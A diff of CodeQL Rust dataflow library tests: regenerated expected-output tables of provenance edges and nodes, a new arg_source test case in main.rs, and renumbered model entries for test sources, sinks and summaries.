-| main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone(...) [Ok] | provenance | generated |
+| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap(...) | provenance | MaD:5 |
 | main.rs:21:13:21:21 | a.clone(...) [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance |  |
-| main.rs:22:10:22:10 | b [Ok] | main.rs:22:10:22:19 | b.unwrap(...) | provenance | MaD:5 |
 | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance |  |
-| main.rs:26:9:26:9 | a | main.rs:28:13:28:13 | a | provenance |  |
+| main.rs:26:9:26:9 | a | main.rs:28:13:28:21 | a.clone(...) | provenance | generated |
 | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance |  |
 | main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance |  |
-| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone(...) | provenance | generated |
 | main.rs:28:13:28:21 | a.clone(...) | main.rs:28:9:28:9 | b | provenance |  |
 | main.rs:41:13:41:13 | w [Wrapper] | main.rs:42:15:42:15 | w [Wrapper] | provenance |  |
 | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | main.rs:41:13:41:13 | w [Wrapper] | provenance |  |
 | main.rs:41:30:41:39 | source(...) | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | provenance |  |
 | main.rs:42:15:42:15 | w [Wrapper] | main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | provenance |  |
-| main.rs:42:15:42:15 | w [Wrapper] | main.rs:45:17:45:17 | w [Wrapper] | provenance |  |
+| main.rs:42:15:42:15 | w [Wrapper] | main.rs:45:17:45:25 | w.clone(...) [Wrapper] | provenance | generated |
 | main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | main.rs:43:26:43:26 | n | provenance |  |
 | main.rs:43:26:43:26 | n | main.rs:43:38:43:38 | n | provenance |  |
 | main.rs:45:13:45:13 | u [Wrapper] | main.rs:46:15:46:15 | u [Wrapper] | provenance |  |
-| main.rs:45:17:45:17 | w [Wrapper] | main.rs:45:17:45:25 | w.clone(...) [Wrapper] | provenance | generated |
 | main.rs:45:17:45:25 | w.clone(...) [Wrapper] | main.rs:45:13:45:13 | u [Wrapper] | provenance |  |
 | main.rs:46:15:46:15 | u [Wrapper] | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | provenance |  |
 | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | main.rs:47:26:47:26 | n | provenance |  |
@@ -63,28 +55,21 @@ nodes
 | main.rs:12:9:12:9 | a [Some] | semmle.label | a [Some] |
 | main.rs:12:13:12:28 | Some(...) [Some] | semmle.label | Some(...) [Some] |
 | main.rs:12:18:12:27 | source(...) | semmle.label | source(...) |
-| main.rs:13:10:13:10 | a [Some] | semmle.label | a [Some] |
 | main.rs:13:10:13:19 | a.unwrap(...) | semmle.label | a.unwrap(...) |
 | main.rs:14:9:14:9 | b [Some] | semmle.label | b [Some] |
-| main.rs:14:13:14:13 | a [Some] | semmle.label | a [Some] |
 | main.rs:14:13:14:21 | a.clone(...) [Some] | semmle.label | a.clone(...) [Some] |
-| main.rs:15:10:15:10 | b [Some] | semmle.label | b [Some] |
 | main.rs:15:10:15:19 | b.unwrap(...) | semmle.label | b.unwrap(...) |
 | main.rs:19:9:19:9 | a [Ok] | semmle.label | a [Ok] |
 | main.rs:19:31:19:44 | Ok(...) [Ok] | semmle.label | Ok(...) [Ok] |
 | main.rs:19:34:19:43 | source(...) | semmle.label | source(...) |
-| main.rs:20:10:20:10 | a [Ok] | semmle.label | a [Ok] |
 | main.rs:20:10:20:19 | a.unwrap(...) | semmle.label | a.unwrap(...) |
 | main.rs:21:9:21:9 | b [Ok] | semmle.label | b [Ok] |
-| main.rs:21:13:21:13 | a [Ok] | semmle.label | a [Ok] |
 | main.rs:21:13:21:21 | a.clone(...) [Ok] | semmle.label | a.clone(...) [Ok] |
-| main.rs:22:10:22:10 | b [Ok] | semmle.label | b [Ok] |
 | main.rs:22:10:22:19 | b.unwrap(...) | semmle.label | b.unwrap(...) |
 | main.rs:26:9:26:9 | a | semmle.label | a |
 | main.rs:26:13:26:22 | source(...) | semmle.label | source(...) |
 | main.rs:27:10:27:10 | a | semmle.label | a |
 | main.rs:28:9:28:9 | b | semmle.label | b |
-| main.rs:28:13:28:13 | a | semmle.label | a |
 | main.rs:28:13:28:21 | a.clone(...) | semmle.label | a.clone(...) |
 | main.rs:29:10:29:10 | b | semmle.label | b |
 | main.rs:41:13:41:13 | w [Wrapper] | semmle.label | w [Wrapper] |
@@ -95,7 +80,6 @@ nodes
 | main.rs:43:26:43:26 | n | semmle.label | n |
 | main.rs:43:38:43:38 | n | semmle.label | n |
 | main.rs:45:13:45:13 | u [Wrapper] | semmle.label | u [Wrapper] |
-| main.rs:45:17:45:17 | w [Wrapper] | semmle.label | w [Wrapper] |
 | main.rs:45:17:45:25 | w.clone(...) [Wrapper] | semmle.label | w.clone(...) [Wrapper] |
 | main.rs:46:15:46:15 | u [Wrapper] | semmle.label | u [Wrapper] |
 | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] |
diff --git a/rust/ql/test/library-tests/dataflow/models/main.rs b/rust/ql/test/library-tests/dataflow/models/main.rs
index 35c307671592..54337a1f0214 100644
--- a/rust/ql/test/library-tests/dataflow/models/main.rs
+++ b/rust/ql/test/library-tests/dataflow/models/main.rs
@@ -126,7 +126,7 @@ fn test_set_struct_field() {
     let s = source(7);
     let my_struct = set_struct_field(s);
     sink(my_struct.field1);
-    sink(my_struct.field2); // $ MISSING: hasValueFlow=7
+    sink(my_struct.field2); // $ hasValueFlow=7
 }
 
 // has a flow model
@@ -279,6 +279,15 @@ fn test_simple_sink() {
     simple_sink(s); // $ hasValueFlow=17
 }
 
+// has a source model
+fn arg_source(i: i64) {}
+
+fn test_arg_source() {
+    let i = 19;
+    arg_source(i);
+    sink(i) // $ hasValueFlow=i
+}
+
 #[tokio::main]
 async fn main() {
     test_identify();
@@ -299,5 +308,6 @@ async fn main() {
     test_simple_source();
     test_simple_sink();
     test_get_async_number().await;
+    test_arg_source();
     let dummy = Some(0); // ensure that the the `lang:core` crate is extracted
 }
diff --git a/rust/ql/test/library-tests/dataflow/models/models.expected b/rust/ql/test/library-tests/dataflow/models/models.expected
index d20b05c8bf36..03db13a96dbc 100644
--- a/rust/ql/test/library-tests/dataflow/models/models.expected
+++ b/rust/ql/test/library-tests/dataflow/models/models.expected
@@ -3,21 +3,23 @@ models
 | 2 | Sink: repo::test; crate::enum_sink; test-sink; Argument[0].Field[crate::MyFieldEnum::C::field_c] |
 | 3 | Sink: repo::test; crate::simple_sink; test-sink; Argument[0] |
 | 4 | Source: repo::test; <crate::MyFieldEnum>::source; test-source; ReturnValue.Field[crate::MyFieldEnum::C::field_c] |
-| 5 | Source: repo::test; crate::enum_source; test-source; ReturnValue.Field[crate::MyFieldEnum::D::field_d] |
-| 6 | Source: repo::test; crate::simple_source; test-source; ReturnValue |
-| 7 | Summary: repo::test; crate::apply; Argument[0]; Argument[1].Parameter[0]; value |
-| 8 | Summary: repo::test; crate::apply; Argument[1].ReturnValue; ReturnValue; value |
-| 9 | Summary: repo::test; crate::coerce; Argument[0]; ReturnValue; taint |
-| 10 | Summary: repo::test; crate::get_array_element; Argument[0].Element; ReturnValue; value |
-| 11 | Summary: repo::test; crate::get_async_number; Argument[0]; ReturnValue.Future; value |
-| 12 | Summary: repo::test; crate::get_struct_field; Argument[0].Field[crate::MyStruct::field1]; ReturnValue; value |
-| 13 | Summary: repo::test; crate::get_tuple_element; Argument[0].Field[0]; ReturnValue; value |
-| 14 | Summary: repo::test; crate::get_var_field; Argument[0].Field[crate::MyFieldEnum::C::field_c]; ReturnValue; value |
-| 15 | Summary: repo::test; crate::get_var_pos; Argument[0].Field[crate::MyPosEnum::A(0)]; ReturnValue; value |
-| 16 | Summary: repo::test; crate::set_array_element; Argument[0]; ReturnValue.Element; value |
-| 17 | Summary: repo::test; crate::set_tuple_element; Argument[0]; ReturnValue.Field[1]; value |
-| 18 | Summary: repo::test; crate::set_var_field; Argument[0]; ReturnValue.Field[crate::MyFieldEnum::D::field_d]; value |
-| 19 | Summary: repo::test; crate::set_var_pos; Argument[0]; ReturnValue.Field[crate::MyPosEnum::B(0)]; value |
+| 5 | Source: repo::test; crate::arg_source; test-source; Argument[0] |
+| 6 | Source: repo::test; crate::enum_source; test-source; ReturnValue.Field[crate::MyFieldEnum::D::field_d] |
+| 7 | Source: repo::test; crate::simple_source; test-source; ReturnValue |
+| 8 | Summary: repo::test; crate::apply; Argument[0]; Argument[1].Parameter[0]; value |
+| 9 | Summary: repo::test; crate::apply; Argument[1].ReturnValue; ReturnValue; value |
+| 10 | Summary: repo::test; crate::coerce; Argument[0]; ReturnValue; taint |
+| 11 | Summary: repo::test; crate::get_array_element; Argument[0].Element; ReturnValue; value |
+| 12 | Summary: repo::test; crate::get_async_number; Argument[0]; ReturnValue.Future; value |
+| 13 | Summary: repo::test; crate::get_struct_field; Argument[0].Field[crate::MyStruct::field1]; ReturnValue; value |
+| 14 | Summary: repo::test; crate::get_tuple_element; Argument[0].Field[0]; ReturnValue; value |
+| 15 | Summary: repo::test; crate::get_var_field; Argument[0].Field[crate::MyFieldEnum::C::field_c]; ReturnValue; value |
+| 16 | Summary: repo::test; crate::get_var_pos; Argument[0].Field[crate::MyPosEnum::A(0)]; ReturnValue; value |
+| 17 | Summary: repo::test; crate::set_array_element; Argument[0]; ReturnValue.Element; value |
+| 18 | Summary: repo::test; crate::set_struct_field; Argument[0]; ReturnValue.Field[crate::MyStruct::field2]; value |
+| 19 | Summary: repo::test; crate::set_tuple_element; Argument[0]; ReturnValue.Field[1]; value |
+| 20 | Summary: repo::test; crate::set_var_field; Argument[0]; ReturnValue.Field[crate::MyFieldEnum::D::field_d]; value |
+| 21 | Summary: repo::test; crate::set_var_pos; Argument[0]; ReturnValue.Field[crate::MyPosEnum::B(0)]; value |
 edges
 | main.rs:15:9:15:9 | s | main.rs:16:19:16:19 | s | provenance |  |
 | main.rs:15:9:15:9 | s | main.rs:16:19:16:19 | s | provenance |  |
@@ -27,7 +29,7 @@ edges
 | main.rs:16:19:16:19 | s | main.rs:16:10:16:20 | identity(...) | provenance | QL |
 | main.rs:25:9:25:9 | s | main.rs:26:17:26:17 | s | provenance |  |
 | main.rs:25:13:25:22 | source(...) | main.rs:25:9:25:9 | s | provenance |  |
-| main.rs:26:17:26:17 | s | main.rs:26:10:26:18 | coerce(...) | provenance | MaD:9 |
+| main.rs:26:17:26:17 | s | main.rs:26:10:26:18 | coerce(...) | provenance | MaD:10 |
 | main.rs:40:9:40:9 | s | main.rs:41:27:41:27 | s | provenance |  |
 | main.rs:40:9:40:9 | s | main.rs:41:27:41:27 | s | provenance |  |
 | main.rs:40:13:40:21 | source(...) | main.rs:40:9:40:9 | s | provenance |  |
@@ -38,8 +40,8 @@ edges
 | main.rs:41:14:41:28 | ...::A(...) [A] | main.rs:41:9:41:10 | e1 [A] | provenance |  |
 | main.rs:41:27:41:27 | s | main.rs:41:14:41:28 | ...::A(...) [A] | provenance |  |
 | main.rs:41:27:41:27 | s | main.rs:41:14:41:28 | ...::A(...) [A] | provenance |  |
-| main.rs:42:22:42:23 | e1 [A] | main.rs:42:10:42:24 | get_var_pos(...) | provenance | MaD:15 |
-| main.rs:42:22:42:23 | e1 [A] | main.rs:42:10:42:24 | get_var_pos(...) | provenance | MaD:15 |
+| main.rs:42:22:42:23 | e1 [A] | main.rs:42:10:42:24 | get_var_pos(...) | provenance | MaD:16 |
+| main.rs:42:22:42:23 | e1 [A] | main.rs:42:10:42:24 | get_var_pos(...) | provenance | MaD:16 |
 | main.rs:53:9:53:9 | s | main.rs:54:26:54:26 | s | provenance |  |
 | main.rs:53:9:53:9 | s | main.rs:54:26:54:26 | s | provenance |  |
 | main.rs:53:13:53:21 | source(...) | main.rs:53:9:53:9 | s | provenance |  |
@@ -48,8 +50,8 @@ edges
 | main.rs:54:9:54:10 | e1 [B] | main.rs:55:11:55:12 | e1 [B] | provenance |  |
 | main.rs:54:14:54:27 | set_var_pos(...) [B] | main.rs:54:9:54:10 | e1 [B] | provenance |  |
 | main.rs:54:14:54:27 | set_var_pos(...) [B] | main.rs:54:9:54:10 | e1 [B] | provenance |  |
-| main.rs:54:26:54:26 | s | main.rs:54:14:54:27 | set_var_pos(...) [B] | provenance | MaD:19 |
-| main.rs:54:26:54:26 | s | main.rs:54:14:54:27 | set_var_pos(...) [B] | provenance | MaD:19 |
+| main.rs:54:26:54:26 | s | main.rs:54:14:54:27 | set_var_pos(...) [B] | provenance | MaD:21 |
+| main.rs:54:26:54:26 | s | main.rs:54:14:54:27 | set_var_pos(...) [B] | provenance | MaD:21 |
 | main.rs:55:11:55:12 | e1 [B] | main.rs:57:9:57:23 | ...::B(...) [B] | provenance |  |
 | main.rs:55:11:55:12 | e1 [B] | main.rs:57:9:57:23 | ...::B(...) [B] | provenance |  |
 | main.rs:57:9:57:23 | ...::B(...) [B] | main.rs:57:22:57:22 | i | provenance |  |
@@ -66,8 +68,8 @@ edges
 | main.rs:73:14:73:42 | ...::C {...} [C] | main.rs:73:9:73:10 | e1 [C] | provenance |  |
 | main.rs:73:40:73:40 | s | main.rs:73:14:73:42 | ...::C {...} [C] | provenance |  |
 | main.rs:73:40:73:40 | s | main.rs:73:14:73:42 | ...::C {...} [C] | provenance |  |
-| main.rs:74:24:74:25 | e1 [C] | main.rs:74:10:74:26 | get_var_field(...) | provenance | MaD:14 |
-| main.rs:74:24:74:25 | e1 [C] | main.rs:74:10:74:26 | get_var_field(...) | provenance | MaD:14 |
+| main.rs:74:24:74:25 | e1 [C] | main.rs:74:10:74:26 | get_var_field(...) | provenance | MaD:15 |
+| main.rs:74:24:74:25 | e1 [C] | main.rs:74:10:74:26 | get_var_field(...) | provenance | MaD:15 |
 | main.rs:85:9:85:9 | s | main.rs:86:28:86:28 | s | provenance |  |
 | main.rs:85:9:85:9 | s | main.rs:86:28:86:28 | s | provenance |  |
 | main.rs:85:13:85:21 | source(...) | main.rs:85:9:85:9 | s | provenance |  |
@@ -76,8 +78,8 @@ edges
 | main.rs:86:9:86:10 | e1 [D] | main.rs:87:11:87:12 | e1 [D] | provenance |  |
 | main.rs:86:14:86:29 | set_var_field(...) [D] | main.rs:86:9:86:10 | e1 [D] | provenance |  |
 | main.rs:86:14:86:29 | set_var_field(...) [D] | main.rs:86:9:86:10 | e1 [D] | provenance |  |
-| main.rs:86:28:86:28 | s | main.rs:86:14:86:29 | set_var_field(...) [D] | provenance | MaD:18 |
-| main.rs:86:28:86:28 | s | main.rs:86:14:86:29 | set_var_field(...) [D] | provenance | MaD:18 |
+| main.rs:86:28:86:28 | s | main.rs:86:14:86:29 | set_var_field(...) [D] | provenance | MaD:20 |
+| main.rs:86:28:86:28 | s | main.rs:86:14:86:29 | set_var_field(...) [D] | provenance | MaD:20 |
 | main.rs:87:11:87:12 | e1 [D] | main.rs:89:9:89:37 | ...::D {...} [D] | provenance |  |
 | main.rs:87:11:87:12 | e1 [D] | main.rs:89:9:89:37 | ...::D {...} [D] | provenance |  |
 | main.rs:89:9:89:37 | ...::D {...} [D] | main.rs:89:35:89:35 | i | provenance |  |
@@ -94,14 +96,26 @@ edges
 | main.rs:105:21:108:5 | MyStruct {...} [MyStruct.field1] | main.rs:105:9:105:17 | my_struct [MyStruct.field1] | provenance |  |
 | main.rs:106:17:106:17 | s | main.rs:105:21:108:5 | MyStruct {...} [MyStruct.field1] | provenance |  |
 | main.rs:106:17:106:17 | s | main.rs:105:21:108:5 | MyStruct {...} [MyStruct.field1] | provenance |  |
-| main.rs:109:27:109:35 | my_struct [MyStruct.field1] | main.rs:109:10:109:36 | get_struct_field(...) | provenance | MaD:12 |
-| main.rs:109:27:109:35 | my_struct [MyStruct.field1] | main.rs:109:10:109:36 | get_struct_field(...) | provenance | MaD:12 |
+| main.rs:109:27:109:35 | my_struct [MyStruct.field1] | main.rs:109:10:109:36 | get_struct_field(...) | provenance | MaD:13 |
+| main.rs:109:27:109:35 | my_struct [MyStruct.field1] | main.rs:109:10:109:36 | get_struct_field(...) | provenance | MaD:13 |
+| main.rs:126:9:126:9 | s | main.rs:127:38:127:38 | s | provenance |  |
+| main.rs:126:9:126:9 | s | main.rs:127:38:127:38 | s | provenance |  |
+| main.rs:126:13:126:21 | source(...) | main.rs:126:9:126:9 | s | provenance |  |
+| main.rs:126:13:126:21 | source(...) | main.rs:126:9:126:9 | s | provenance |  |
+| main.rs:127:9:127:17 | my_struct [MyStruct.field2] | main.rs:129:10:129:18 | my_struct [MyStruct.field2] | provenance |  |
+| main.rs:127:9:127:17 | my_struct [MyStruct.field2] | main.rs:129:10:129:18 | my_struct [MyStruct.field2] | provenance |  |
+| main.rs:127:21:127:39 | set_struct_field(...) [MyStruct.field2] | main.rs:127:9:127:17 | my_struct [MyStruct.field2] | provenance |  |
+| main.rs:127:21:127:39 | set_struct_field(...) [MyStruct.field2] | main.rs:127:9:127:17 | my_struct [MyStruct.field2] | provenance |  |
+| main.rs:127:38:127:38 | s | main.rs:127:21:127:39 | set_struct_field(...) [MyStruct.field2] | provenance | MaD:18 |
+| main.rs:127:38:127:38 | s | main.rs:127:21:127:39 | set_struct_field(...) [MyStruct.field2] | provenance | MaD:18 |
+| main.rs:129:10:129:18 | my_struct [MyStruct.field2] | main.rs:129:10:129:25 | my_struct.field2 | provenance |  |
+| main.rs:129:10:129:18 | my_struct [MyStruct.field2] | main.rs:129:10:129:25 | my_struct.field2 | provenance |  |
 | main.rs:138:9:138:9 | s | main.rs:139:29:139:29 | s | provenance |  |
 | main.rs:138:9:138:9 | s | main.rs:139:29:139:29 | s | provenance |  |
 | main.rs:138:13:138:21 | source(...) | main.rs:138:9:138:9 | s | provenance |  |
 | main.rs:138:13:138:21 | source(...) | main.rs:138:9:138:9 | s | provenance |  |
-| main.rs:139:28:139:30 | [...] [element] | main.rs:139:10:139:31 | get_array_element(...) | provenance | MaD:10 |
-| main.rs:139:28:139:30 | [...] [element] | main.rs:139:10:139:31 | get_array_element(...) | provenance | MaD:10 |
+| main.rs:139:28:139:30 | [...] [element] | main.rs:139:10:139:31 | get_array_element(...) | provenance | MaD:11 |
+| main.rs:139:28:139:30 | [...] [element] | main.rs:139:10:139:31 | get_array_element(...) | provenance | MaD:11 |
 | main.rs:139:29:139:29 | s | main.rs:139:28:139:30 | [...] [element] | provenance |  |
 | main.rs:139:29:139:29 | s | main.rs:139:28:139:30 | [...] [element] | provenance |  |
 | main.rs:148:9:148:9 | s | main.rs:149:33:149:33 | s | provenance |  |
@@ -112,8 +126,8 @@ edges
 | main.rs:149:9:149:11 | arr [element] | main.rs:150:10:150:12 | arr [element] | provenance |  |
 | main.rs:149:15:149:34 | set_array_element(...) [element] | main.rs:149:9:149:11 | arr [element] | provenance |  |
 | main.rs:149:15:149:34 | set_array_element(...) [element] | main.rs:149:9:149:11 | arr [element] | provenance |  |
-| main.rs:149:33:149:33 | s | main.rs:149:15:149:34 | set_array_element(...) [element] | provenance | MaD:16 |
-| main.rs:149:33:149:33 | s | main.rs:149:15:149:34 | set_array_element(...) [element] | provenance | MaD:16 |
+| main.rs:149:33:149:33 | s | main.rs:149:15:149:34 | set_array_element(...) [element] | provenance | MaD:17 |
+| main.rs:149:33:149:33 | s | main.rs:149:15:149:34 | set_array_element(...) [element] | provenance | MaD:17 |
 | main.rs:150:10:150:12 | arr [element] | main.rs:150:10:150:15 | arr[0] | provenance |  |
 | main.rs:150:10:150:12 | arr [element] | main.rs:150:10:150:15 | arr[0] | provenance |  |
 | main.rs:159:9:159:9 | s | main.rs:160:14:160:14 | s | provenance |  |
@@ -126,8 +140,8 @@ edges
 | main.rs:160:13:160:18 | TupleExpr [tuple.0] | main.rs:160:9:160:9 | t [tuple.0] | provenance |  |
 | main.rs:160:14:160:14 | s | main.rs:160:13:160:18 | TupleExpr [tuple.0] | provenance |  |
 | main.rs:160:14:160:14 | s | main.rs:160:13:160:18 | TupleExpr [tuple.0] | provenance |  |
-| main.rs:161:28:161:28 | t [tuple.0] | main.rs:161:10:161:29 | get_tuple_element(...) | provenance | MaD:13 |
-| main.rs:161:28:161:28 | t [tuple.0] | main.rs:161:10:161:29 | get_tuple_element(...) | provenance | MaD:13 |
+| main.rs:161:28:161:28 | t [tuple.0] | main.rs:161:10:161:29 | get_tuple_element(...) | provenance | MaD:14 |
+| main.rs:161:28:161:28 | t [tuple.0] | main.rs:161:10:161:29 | get_tuple_element(...) | provenance | MaD:14 |
 | main.rs:172:9:172:9 | s | main.rs:173:31:173:31 | s | provenance |  |
 | main.rs:172:9:172:9 | s | main.rs:173:31:173:31 | s | provenance |  |
 | main.rs:172:13:172:22 | source(...) | main.rs:172:9:172:9 | s | provenance |  |
@@ -136,8 +150,8 @@ edges
 | main.rs:173:9:173:9 | t [tuple.1] | main.rs:175:10:175:10 | t [tuple.1] | provenance |  |
 | main.rs:173:13:173:32 | set_tuple_element(...) [tuple.1] | main.rs:173:9:173:9 | t [tuple.1] | provenance |  |
 | main.rs:173:13:173:32 | set_tuple_element(...) [tuple.1] | main.rs:173:9:173:9 | t [tuple.1] | provenance |  |
-| main.rs:173:31:173:31 | s | main.rs:173:13:173:32 | set_tuple_element(...) [tuple.1] | provenance | MaD:17 |
-| main.rs:173:31:173:31 | s | main.rs:173:13:173:32 | set_tuple_element(...) [tuple.1] | provenance | MaD:17 |
+| main.rs:173:31:173:31 | s | main.rs:173:13:173:32 | set_tuple_element(...) [tuple.1] | provenance | MaD:19 |
+| main.rs:173:31:173:31 | s | main.rs:173:13:173:32 | set_tuple_element(...) [tuple.1] | provenance | MaD:19 |
 | main.rs:175:10:175:10 | t [tuple.1] | main.rs:175:10:175:12 | t.1 | provenance |  |
 | main.rs:175:10:175:10 | t [tuple.1] | main.rs:175:10:175:12 | t.1 | provenance |  |
 | main.rs:184:9:184:9 | s | main.rs:189:11:189:11 | s | provenance |  |
@@ -146,8 +160,8 @@ edges
 | main.rs:184:13:184:22 | source(...) | main.rs:184:9:184:9 | s | provenance |  |
 | main.rs:185:14:185:14 | ... | main.rs:186:14:186:14 | n | provenance |  |
 | main.rs:185:14:185:14 | ... | main.rs:186:14:186:14 | n | provenance |  |
-| main.rs:189:11:189:11 | s | main.rs:185:14:185:14 | ... | provenance | MaD:7 |
-| main.rs:189:11:189:11 | s | main.rs:185:14:185:14 | ... | provenance | MaD:7 |
+| main.rs:189:11:189:11 | s | main.rs:185:14:185:14 | ... | provenance | MaD:8 |
+| main.rs:189:11:189:11 | s | main.rs:185:14:185:14 | ... | provenance | MaD:8 |
 | main.rs:193:13:193:22 | source(...) | main.rs:195:23:195:23 | f [captured s] | provenance |  |
 | main.rs:193:13:193:22 | source(...) | main.rs:195:23:195:23 | f [captured s] | provenance |  |
 | main.rs:194:40:194:40 | s | main.rs:194:17:194:42 | if ... {...} else {...} | provenance |  |
@@ -156,14 +170,14 @@ edges
 | main.rs:195:9:195:9 | t | main.rs:196:10:196:10 | t | provenance |  |
 | main.rs:195:13:195:24 | apply(...) | main.rs:195:9:195:9 | t | provenance |  |
 | main.rs:195:13:195:24 | apply(...) | main.rs:195:9:195:9 | t | provenance |  |
-| main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | provenance | MaD:7 |
-| main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | provenance | MaD:7 |
 | main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | provenance | MaD:8 |
 | main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | provenance | MaD:8 |
-| main.rs:195:23:195:23 | f [captured s] | main.rs:195:13:195:24 | apply(...) | provenance | MaD:7 |
-| main.rs:195:23:195:23 | f [captured s] | main.rs:195:13:195:24 | apply(...) | provenance | MaD:7 |
+| main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | provenance | MaD:9 |
+| main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | provenance | MaD:9 |
 | main.rs:195:23:195:23 | f [captured s] | main.rs:195:13:195:24 | apply(...) | provenance | MaD:8 |
 | main.rs:195:23:195:23 | f [captured s] | main.rs:195:13:195:24 | apply(...) | provenance | MaD:8 |
+| main.rs:195:23:195:23 | f [captured s] | main.rs:195:13:195:24 | apply(...) | provenance | MaD:9 |
+| main.rs:195:23:195:23 | f [captured s] | main.rs:195:13:195:24 | apply(...) | provenance | MaD:9 |
 | main.rs:200:9:200:9 | s | main.rs:202:19:202:19 | s | provenance |  |
 | main.rs:200:9:200:9 | s | main.rs:202:19:202:19 | s | provenance |  |
 | main.rs:200:13:200:22 | source(...) | main.rs:200:9:200:9 | s | provenance |  |
@@ -174,10 +188,10 @@ edges
 | main.rs:202:9:202:9 | t | main.rs:203:10:203:10 | t | provenance |  |
 | main.rs:202:13:202:23 | apply(...) | main.rs:202:9:202:9 | t | provenance |  |
 | main.rs:202:13:202:23 | apply(...) | main.rs:202:9:202:9 | t | provenance |  |
-| main.rs:202:19:202:19 | s | main.rs:201:14:201:14 | ... | provenance | MaD:7 |
-| main.rs:202:19:202:19 | s | main.rs:201:14:201:14 | ... | provenance | MaD:7 |
-| main.rs:202:19:202:19 | s | main.rs:202:13:202:23 | apply(...) | provenance | MaD:7 |
-| main.rs:202:19:202:19 | s | main.rs:202:13:202:23 | apply(...) | provenance | MaD:7 |
+| main.rs:202:19:202:19 | s | main.rs:201:14:201:14 | ... | provenance | MaD:8 |
+| main.rs:202:19:202:19 | s | main.rs:201:14:201:14 | ... | provenance | MaD:8 |
+| main.rs:202:19:202:19 | s | main.rs:202:13:202:23 | apply(...) | provenance | MaD:8 |
+| main.rs:202:19:202:19 | s | main.rs:202:13:202:23 | apply(...) | provenance | MaD:8 |
 | main.rs:212:9:212:9 | s | main.rs:213:30:213:30 | s | provenance |  |
 | main.rs:212:9:212:9 | s | main.rs:213:30:213:30 | s | provenance |  |
 | main.rs:212:13:212:22 | source(...) | main.rs:212:9:212:9 | s | provenance |  |
@@ -188,12 +202,12 @@ edges
 | main.rs:213:13:213:31 | get_async_number(...) [future] | main.rs:213:13:213:37 | await ... | provenance |  |
 | main.rs:213:13:213:37 | await ... | main.rs:213:9:213:9 | t | provenance |  |
 | main.rs:213:13:213:37 | await ... | main.rs:213:9:213:9 | t | provenance |  |
-| main.rs:213:30:213:30 | s | main.rs:213:13:213:31 | get_async_number(...) [future] | provenance | MaD:11 |
-| main.rs:213:30:213:30 | s | main.rs:213:13:213:31 | get_async_number(...) [future] | provenance | MaD:11 |
+| main.rs:213:30:213:30 | s | main.rs:213:13:213:31 | get_async_number(...) [future] | provenance | MaD:12 |
+| main.rs:213:30:213:30 | s | main.rs:213:13:213:31 | get_async_number(...) [future] | provenance | MaD:12 |
 | main.rs:233:9:233:9 | s [D] | main.rs:234:11:234:11 | s [D] | provenance |  |
 | main.rs:233:9:233:9 | s [D] | main.rs:234:11:234:11 | s [D] | provenance |  |
-| main.rs:233:13:233:23 | enum_source | main.rs:233:13:233:27 | enum_source(...) [D] | provenance | Src:MaD:5  |
-| main.rs:233:13:233:23 | enum_source | main.rs:233:13:233:27 | enum_source(...) [D] | provenance | Src:MaD:5  |
+| main.rs:233:13:233:23 | enum_source | main.rs:233:13:233:27 | enum_source(...) [D] | provenance | Src:MaD:6  |
+| main.rs:233:13:233:23 | enum_source | main.rs:233:13:233:27 | enum_source(...) [D] | provenance | Src:MaD:6  |
 | main.rs:233:13:233:27 | enum_source(...) [D] | main.rs:233:9:233:9 | s [D] | provenance |  |
 | main.rs:233:13:233:27 | enum_source(...) [D] | main.rs:233:9:233:9 | s [D] | provenance |  |
 | main.rs:234:11:234:11 | s [D] | main.rs:236:9:236:37 | ...::D {...} [D] | provenance |  |
@@ -236,8 +250,8 @@ edges
 | main.rs:261:5:261:5 | e [D] | main.rs:261:7:261:10 | sink | provenance | MaD:1 Sink:MaD:1 |
 | main.rs:270:9:270:9 | s | main.rs:271:10:271:10 | s | provenance |  |
 | main.rs:270:9:270:9 | s | main.rs:271:10:271:10 | s | provenance |  |
-| main.rs:270:13:270:25 | simple_source | main.rs:270:13:270:29 | simple_source(...) | provenance | Src:MaD:6 MaD:6 |
-| main.rs:270:13:270:25 | simple_source | main.rs:270:13:270:29 | simple_source(...) | provenance | Src:MaD:6 MaD:6 |
+| main.rs:270:13:270:25 | simple_source | main.rs:270:13:270:29 | simple_source(...) | provenance | Src:MaD:7 MaD:7 |
+| main.rs:270:13:270:25 | simple_source | main.rs:270:13:270:29 | simple_source(...) | provenance | Src:MaD:7 MaD:7 |
 | main.rs:270:13:270:29 | simple_source(...) | main.rs:270:9:270:9 | s | provenance |  |
 | main.rs:270:13:270:29 | simple_source(...) | main.rs:270:9:270:9 | s | provenance |  |
 | main.rs:278:9:278:9 | s | main.rs:279:17:279:17 | s | provenance |  |
@@ -246,6 +260,10 @@ edges
 | main.rs:278:13:278:22 | source(...) | main.rs:278:9:278:9 | s | provenance |  |
 | main.rs:279:17:279:17 | s | main.rs:279:5:279:15 | simple_sink | provenance | MaD:3 Sink:MaD:3 |
 | main.rs:279:17:279:17 | s | main.rs:279:5:279:15 | simple_sink | provenance | MaD:3 Sink:MaD:3 |
+| main.rs:287:5:287:14 | arg_source | main.rs:287:16:287:16 | [post] i | provenance | Src:MaD:5 MaD:5 |
+| main.rs:287:5:287:14 | arg_source | main.rs:287:16:287:16 | [post] i | provenance | Src:MaD:5 MaD:5 |
+| main.rs:287:16:287:16 | [post] i | main.rs:288:10:288:10 | i | provenance |  |
